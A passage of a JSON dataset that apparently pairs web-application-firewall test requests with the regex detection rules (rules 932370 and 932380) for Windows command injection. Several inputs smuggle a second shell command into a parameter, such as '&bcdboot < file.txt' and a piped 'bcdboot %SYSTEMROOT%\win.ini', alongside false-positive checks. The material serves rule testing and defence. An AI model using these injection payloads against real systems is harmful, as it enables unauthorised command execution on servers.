"REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:c[\\\"\\^]*c[\\\"\\^]*c[\\\"\\^]*h[\\\"\\^]*e[\\\"\\^]*c[\\\"\\^]*k[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*n[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]*l[\\\"\\^]*e|d[\\\"\\^]*(?:p[\\\"\\^]*l[\\\"\\^]*u[\\\"\\^]*s|v[\\\"\\^]*p[\\\"\\^]*a[\\\"\\^]*c[\\\"\\^]*k)|(?:g[\\\"\\^]*e[\\\"\\^]*n[\\\"\\^]*t[\\\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^]*n[\\\"\\^]*c[\\\"\\^]*h|j[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*d[\\\"\\^]*e[\\\"\\^]*b[\\\"\\^]*u[\\\"\\^]*g[\\\"\\^]*g)[\\\"\\^]*e[\\\"\\^]*r)|w[\\\"\\^]*(?:a[\\\"\\^]*b|(?:f|m[\\\"\\^]*i)[\\\"\\^]*c|i[\\\"\\^]*n[\\\"\\^]*(?:g[\\\"\\^]*e[\\\"\\^]*t|r[\\\"\\^]*m|w[\\\"\\^]*o[\\\"\\^]*r[\\\"\\^]*d)|l[\\\"\\^]*r[\\\"\\^]*m[\\\"\\^]*d[\\\"\\^]*r|o[\\\"\\^]*r[\\\"\\^]*k[\\\"\\^]*f[\\\"\\^]*o[\\\"\\^]*l[\\\"\\^]*d[\\\"\\^]*e[\\\"\\^]*r[\\\"\\^]*s|s[\\\"\\^]*(?:(?:c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p|r[\\\"\\^]*e[\\\"\\^]*s[\\\"\\^]*e)[\\\"\\^]*t|l)|t[\\\"\\^]*[\\s\\x0b,\\./;<>].*|u[\\\"\\^]*a[\\\"\\^]*u[\\\"\\^]*c[\\\"\\^]*l[\\\"\\^]*t)|x[\\\"\\^]*w[\\\"\\^]*i[\\\"\\^]*z[\\\"\\^]*a[\\\"\\^]*r[\\\"\\^]*d|z[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*f[\\\"\\^]*l[\\\"\\^]*d[\\\"\\^]*r)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932370", "test_description": "Windows Command Injection - bypass test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=time+warner+" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:c[\\\"\\^]*c[\\\"\\^]*c[\\\"\\^]*h[\\\"\\^]*e[\\\"\\^]*c[\\\"\\^]*k[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*n[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]*l[\\\"\\^]*e|d[\\\"\\^]*(?:p[\\\"\\^]*l[\\\"\\^]*u[\\\"\\^]*s|v[\\\"\\^]*p[\\\"\\^]*a[\\\"\\^]*c[\\\"\\^]*k)|(?:g[\\\"\\^]*e[\\\"\\^]*n[\\\"\\^]*t[\\\"\\^]*e[\\\"\\^]*x[\\\"\\^]*e[\\\"\\^]*c[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*o|(?:s[\\\"\\^]*p[\\\"\\^]*n[\\\"\\^]*e[\\\"\\^]*t[\\\"\\^]*_[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*m[\\\"\\^]*p[\\\"\\^]*i[\\\"\\^]*l|t[\\\"\\^]*b[\\\"\\^]*r[\\\"\\^]*o[\\\"\\^]*k)[\\\"\\^]*e)[\\\"\\^]*r|p[\\\"\\^]*p[\\\"\\^]*(?:i[\\\"\\^]*n[\\\"\\^]*s[\\\"\\^]*t[\\\"\\^]*a[\\\"\\^]*l[\\\"\\^]*l[\\\"\\^]*e[\\\"\\^]*r|v[\\\"\\^]*l[\\\"\\^]*p))|b[\\\"\\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*e[\\\"\\^]*r[\\\"\\^]*s|s[\\\"\\^]*(?:(?:c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p|r[\\\"\\^]*e[\\\"\\^]*s[\\\"\\^]*e)[\\\"\\^]*t|l)|t[\\\"\\^]*[\\s\\x0b,\\./;<>].*|u[\\\"\\^]*a[\\\"\\^]*u[\\\"\\^]*c[\\\"\\^]*l[\\\"\\^]*t)|x[\\\"\\^]*w[\\\"\\^]*i[\\\"\\^]*z[\\\"\\^]*a[\\\"\\^]*r[\\\"\\^]*d|z[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*f[\\\"\\^]*l[\\\"\\^]*d[\\\"\\^]*r)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932370", "test_description": "Windows Command Injection bypass with time negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=Go%20to%20store.%0AAt%20the%20store%2C%20shop." } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:c[\\\"\\^]*c[\\\"\\^]*c[\\\"\\^]*h[\\\"\\^]*e[\\\"\\^]*c[\\\"\\^]*k[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} }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932370", "test_description": "False positive: matching `at` after newline" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "view%3Dimage.jpg%26bcdboot%20%3C%20file.txt" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:s[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]*c|t[\\\"\\^]*(?:m[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m|t[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*b)|u[\\\"\\^]*(?:d[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*p[\\\"\\^]*o[\\\"\\^]*l|t[\\\"\\^]*o[\\\"\\^]*(?:c[\\\"\\^]*(?:h[\\\"\\^]*k|o[\\\"\\^]*n[\\\"\\^]*v)|(?:f[\\\"\\^]*m|m[\\\"\\^]*o[\\\"\\^]*u[\\\"\\^]*n)[\\\"\\^]*t)))|b[\\\"\\^]*(?:c[\\\"\\^]*d[\\\"\\^]*(?:b[\\\"\\^]*o[\\\"\\^]*o|e[\\\"\\^]*d[\\\"\\^]*i)[\\\"\\^]*t|(?:d[\\\"\\^]*e[\\\"\\^]*h[\\\"\\^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\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|(?:d[\\\"\\^]*s|e[\\\"\\^]*(?:c|v[\\\"\\^]*t))[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*i[\\\"\\^]*l|h[\\\"\\^]*o[\\\"\\^]*a[\\\"\\^]*m[\\\"\\^]*i|i[\\\"\\^]*n[\\\"\\^]*(?:n[\\\"\\^]*t(?:[\\\"\\^]*3[\\\"\\^]*2)?|r[\\\"\\^]*s)|m[\\\"\\^]*i[\\\"\\^]*c|s[\\\"\\^]*c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*t)|x[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*p[\\\"\\^]*y)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932380", "test_description": "Windows shell command injection with 'bcdboot': view=image.jpg%26bcdboot < file.txt\nMatch input redirection to bcdboot\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "view%3Dimage.jpg%26bcdboot%20%2Fr%20file.txt" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?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]*o[\\\"\\^]*f)|y[\\\"\\^]*p[\\\"\\^]*e[\\\"\\^]*p[\\\"\\^]*e[\\\"\\^]*r[\\\"\\^]*f|z[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*i[\\\"\\^]*l)|u[\\\"\\^]*n[\\\"\\^]*(?:e[\\\"\\^]*x[\\\"\\^]*p[\\\"\\^]*o[\\\"\\^]*s[\\\"\\^]*e|i[\\\"\\^]*q[\\\"\\^]*u[\\\"\\^]*e[\\\"\\^]*i[\\\"\\^]*d|l[\\\"\\^]*o[\\\"\\^]*d[\\\"\\^]*c[\\\"\\^]*t[\\\"\\^]*r)|v[\\\"\\^]*s[\\\"\\^]*s[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|w[\\\"\\^]*(?:a[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*f[\\\"\\^]*o[\\\"\\^]*r|b[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|(?:d[\\\"\\^]*s|e[\\\"\\^]*(?:c|v[\\\"\\^]*t))[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*i[\\\"\\^]*l|h[\\\"\\^]*o[\\\"\\^]*a[\\\"\\^]*m[\\\"\\^]*i|i[\\\"\\^]*n[\\\"\\^]*(?:n[\\\"\\^]*t(?:[\\\"\\^]*3[\\\"\\^]*2)?|r[\\\"\\^]*s)|m[\\\"\\^]*i[\\\"\\^]*c|s[\\\"\\^]*c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*t)|x[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*p[\\\"\\^]*y)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932380", "test_description": "Windows shell command injection with 'bcdboot': view=image.jpg%26bcdboot /r file.txt\nMatch bcdboot with normal argument\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "view%3Dimage.jpg%26bcdboot%2Fr%20file.txt" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:s[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]*c|t[\\\"\\^]*(?:m[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m|t[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*b)|u[\\\"\\^]*(?:d[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*p[\\\"\\^]*o[\\\"\\^]*l|t[\\\"\\^]*o[\\\"\\^]*(?:c[\\\"\\^]*(?:h[\\\"\\^]*k|o[\\\"\\^]*n[\\\"\\^]*v)|(?:f[\\\"\\^]*m|m[\\\"\\^]*o[\\\"\\^]*u[\\\"\\^]*n)[\\\"\\^]*t)))|b[\\\"\\^]*(?:c[\\\"\\^]*d[\\\"\\^]*(?:b[\\\"\\^]*o[\\\"\\^]*o|e[\\\"\\^]*d[\\\"\\^]*i)[\\\"\\^]*t|(?:d[\\\"\\^]*e[\\\"\\^]*h[\\\"\\^]*d|o[\\\"\\^]*o[\\\"\\^]*t)[\\\"\\^]*c[\\\"\\^]*f[\\\"\\^]*g|i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\\^]*s|e[\\\"\\^]*(?:c|v[\\\"\\^]*t))[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*i[\\\"\\^]*l|h[\\\"\\^]*o[\\\"\\^]*a[\\\"\\^]*m[\\\"\\^]*i|i[\\\"\\^]*n[\\\"\\^]*(?:n[\\\"\\^]*t(?:[\\\"\\^]*3[\\\"\\^]*2)?|r[\\\"\\^]*s)|m[\\\"\\^]*i[\\\"\\^]*c|s[\\\"\\^]*c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*t)|x[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*p[\\\"\\^]*y)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932380", "test_description": "Windows shell command injection with 'bcdboot': view=image.jpg%26bcdboot/r file.txt\nMatch bcdboot with argument without preceding space\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "view%3Dimage.jpg%26bcdboot%20%20%2Fr%20file.txt" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:s[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]*c|t[\\\"\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^]*e[\\\"\\^]*r[\\\"\\^]*f|z[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*i[\\\"\\^]*l)|u[\\\"\\^]*n[\\\"\\^]*(?:e[\\\"\\^]*x[\\\"\\^]*p[\\\"\\^]*o[\\\"\\^]*s[\\\"\\^]*e|i[\\\"\\^]*q[\\\"\\^]*u[\\\"\\^]*e[\\\"\\^]*i[\\\"\\^]*d|l[\\\"\\^]*o[\\\"\\^]*d[\\\"\\^]*c[\\\"\\^]*t[\\\"\\^]*r)|v[\\\"\\^]*s[\\\"\\^]*s[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|w[\\\"\\^]*(?:a[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*f[\\\"\\^]*o[\\\"\\^]*r|b[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|(?:d[\\\"\\^]*s|e[\\\"\\^]*(?:c|v[\\\"\\^]*t))[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*i[\\\"\\^]*l|h[\\\"\\^]*o[\\\"\\^]*a[\\\"\\^]*m[\\\"\\^]*i|i[\\\"\\^]*n[\\\"\\^]*(?:n[\\\"\\^]*t(?:[\\\"\\^]*3[\\\"\\^]*2)?|r[\\\"\\^]*s)|m[\\\"\\^]*i[\\\"\\^]*c|s[\\\"\\^]*c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*t)|x[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*p[\\\"\\^]*y)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932380", "test_description": "Windows shell command injection with 'bcdboot': view=image.jpg%26bcdboot /r file.txt\nMatch bcdboot with argument with multiple preceding space\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "bannerid=18&campaignid=1&zoneid=4&loc=https%3A%2F%2Fwww.example.com%2Ffoo%2Fbar%2Fx-x%2Fx%3Fs%3D2014-11-01%26e%3D2020-10-31%26ex%3D7%26page%3D1%26sort%3Dex%26sort%3Ddescending&referer=https%3A%2F%2Fwww.example.com%2Ffoo%2Fbar%2Fx-x%2Fx%3Fs%3D2014-11-01%26e%3D2020-10-31%26ex%3D7%26page%3D1%26sort%3Dex%26sort%3Dascending&cb=7de91ea349" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:s[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]*c|t[\\\"\\^]*(?:m[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m|t[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*b)|u[\\\"\\^]*(?:d[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*p[\\\"\\^]*o[\\\"\\^]*l|t[\\\"\\^]*o[\\\"\\^]*(?:c[\\\"\\^]*(?:h[\\\"\\^]*k|o[\\\"\\^]*n[\\\"\\^]*v)|(?:f[\\\"\\^]*m|m[\\\"\\^]*o[\\\"\\^]*u[\\\"\\^]*n)[\\\"\\^]*t)))|b[\\\"\\^]*(?:c[\\\"\\^]*d[\\\"\\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]*m[\\\"\\^]*i[\\\"\\^]*n|w[\\\"\\^]*(?:a[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*f[\\\"\\^]*o[\\\"\\^]*r|b[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|(?:d[\\\"\\^]*s|e[\\\"\\^]*(?:c|v[\\\"\\^]*t))[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*i[\\\"\\^]*l|h[\\\"\\^]*o[\\\"\\^]*a[\\\"\\^]*m[\\\"\\^]*i|i[\\\"\\^]*n[\\\"\\^]*(?:n[\\\"\\^]*t(?:[\\\"\\^]*3[\\\"\\^]*2)?|r[\\\"\\^]*s)|m[\\\"\\^]*i[\\\"\\^]*c|s[\\\"\\^]*c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*t)|x[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*p[\\\"\\^]*y)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932380", "test_description": "Windows shell command injection with 'sort' (false positive): sort%3Dex%26sort%3Dascending\nDo not match query parameter\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=test@coreruleset.org\"|bcdboot %SYSTEMROOT%\\win.ini" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\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": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932380", "test_description": "Windows shell command injection using 'bcdboot'" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=time+warner+" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:s[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]*c|t[\\\"\\^]*(?:m[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m|t[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*b)|u[\\\"\\^]*(?:d[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*p[\\\"\\^]*o[\\\"\\^]*l|t[\\\"\\^]*o[\\\"\\^]*(?:c[\\\"\\^]*(?:h[\\\"\\^]*k|o[\\\"\\^]*n[\\\"\\^]*v)|(?:f[\\\"\\^]*m|m[\\\"\\^]*o[\\\"\\^]*u[\\\"\\^]*n)[\\\"\\^]*t)))|b[\\\"\\^]*(?:c[\\\"\\^]*d[\\\"\\^]*(?:b[\\\"\\^]*o[\\\"\\^]*o|e[\\\"\\^]*d[\\\"\\^]*i)[\\\"\\^]*t|(?:d[\\\"\\^]*e[\\\"\\^]*h[\\\"\\^]*d|o[\\\"\\^]*o[\\\"\\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\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|(?:d[\\\"\\^]*s|e[\\\"\\^]*(?:c|v[\\\"\\^]*t))[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*i[\\\"\\^]*l|h[\\\"\\^]*o[\\\"\\^]*a[\\\"\\^]*m[\\\"\\^]*i|i[\\\"\\^]*n[\\\"\\^]*(?:n[\\\"\\^]*t(?:[\\\"\\^]*3[\\\"\\^]*2)?|r[\\\"\\^]*s)|m[\\\"\\^]*i[\\\"\\^]*c|s[\\\"\\^]*c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*t)|x[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*p[\\\"\\^]*y)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932380", "test_description": "False positive against 'time warner'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=While this is a challenging time for us all, we are busy helping customers manage playout infrastructure in ways that were just dreams only a couple of years ago.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:[\\n\\r;`\\{]|\\|\\|?|&&?)[\\s\\x0b]*[\\s\\x0b\\\"'\\(,@]*(?:[\\\"'\\.-9A-Z_a-z]+/|(?:[\\\"'\\x5c\\^]*[0-9A-Z_a-z][\\\"'\\x5c\\^]*:[^\\x5c]*|[ \\\"'\\.-9A-Z\\x5c\\^_a-z]*)\\x5c)?[\\\"\\^]*(?:a[\\\"\\^]*(?:s[\\\"\\^]*s[\\\"\\^]*o[\\\"\\^]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]*p[\\\"\\^]*e[\\\"\\^]*r[\\\"\\^]*f|z[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*i[\\\"\\^]*l)|u[\\\"\\^]*n[\\\"\\^]*(?:e[\\\"\\^]*x[\\\"\\^]*p[\\\"\\^]*o[\\\"\\^]*s[\\\"\\^]*e|i[\\\"\\^]*q[\\\"\\^]*u[\\\"\\^]*e[\\\"\\^]*i[\\\"\\^]*d|l[\\\"\\^]*o[\\\"\\^]*d[\\\"\\^]*c[\\\"\\^]*t[\\\"\\^]*r)|v[\\\"\\^]*s[\\\"\\^]*s[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|w[\\\"\\^]*(?:a[\\\"\\^]*i[\\\"\\^]*t[\\\"\\^]*f[\\\"\\^]*o[\\\"\\^]*r|b[\\\"\\^]*a[\\\"\\^]*d[\\\"\\^]*m[\\\"\\^]*i[\\\"\\^]*n|(?:d[\\\"\\^]*s|e[\\\"\\^]*(?:c|v[\\\"\\^]*t))[\\\"\\^]*u[\\\"\\^]*t[\\\"\\^]*i[\\\"\\^]*l|h[\\\"\\^]*o[\\\"\\^]*a[\\\"\\^]*m[\\\"\\^]*i|i[\\\"\\^]*n[\\\"\\^]*(?:n[\\\"\\^]*t(?:[\\\"\\^]*3[\\\"\\^]*2)?|r[\\\"\\^]*s)|m[\\\"\\^]*i[\\\"\\^]*c|s[\\\"\\^]*c[\\\"\\^]*r[\\\"\\^]*i[\\\"\\^]*p[\\\"\\^]*t)|x[\\\"\\^]*c[\\\"\\^]*o[\\\"\\^]*p[\\\"\\^]*y)(?:\\.[\\\"\\^]*[0-9A-Z_a-z]+)?\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932380", "test_description": "False positive against 'time for'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=El primer avión de la aerolínea fue en Curtiss Robin; voló rutas domésticas como transporte de correos y 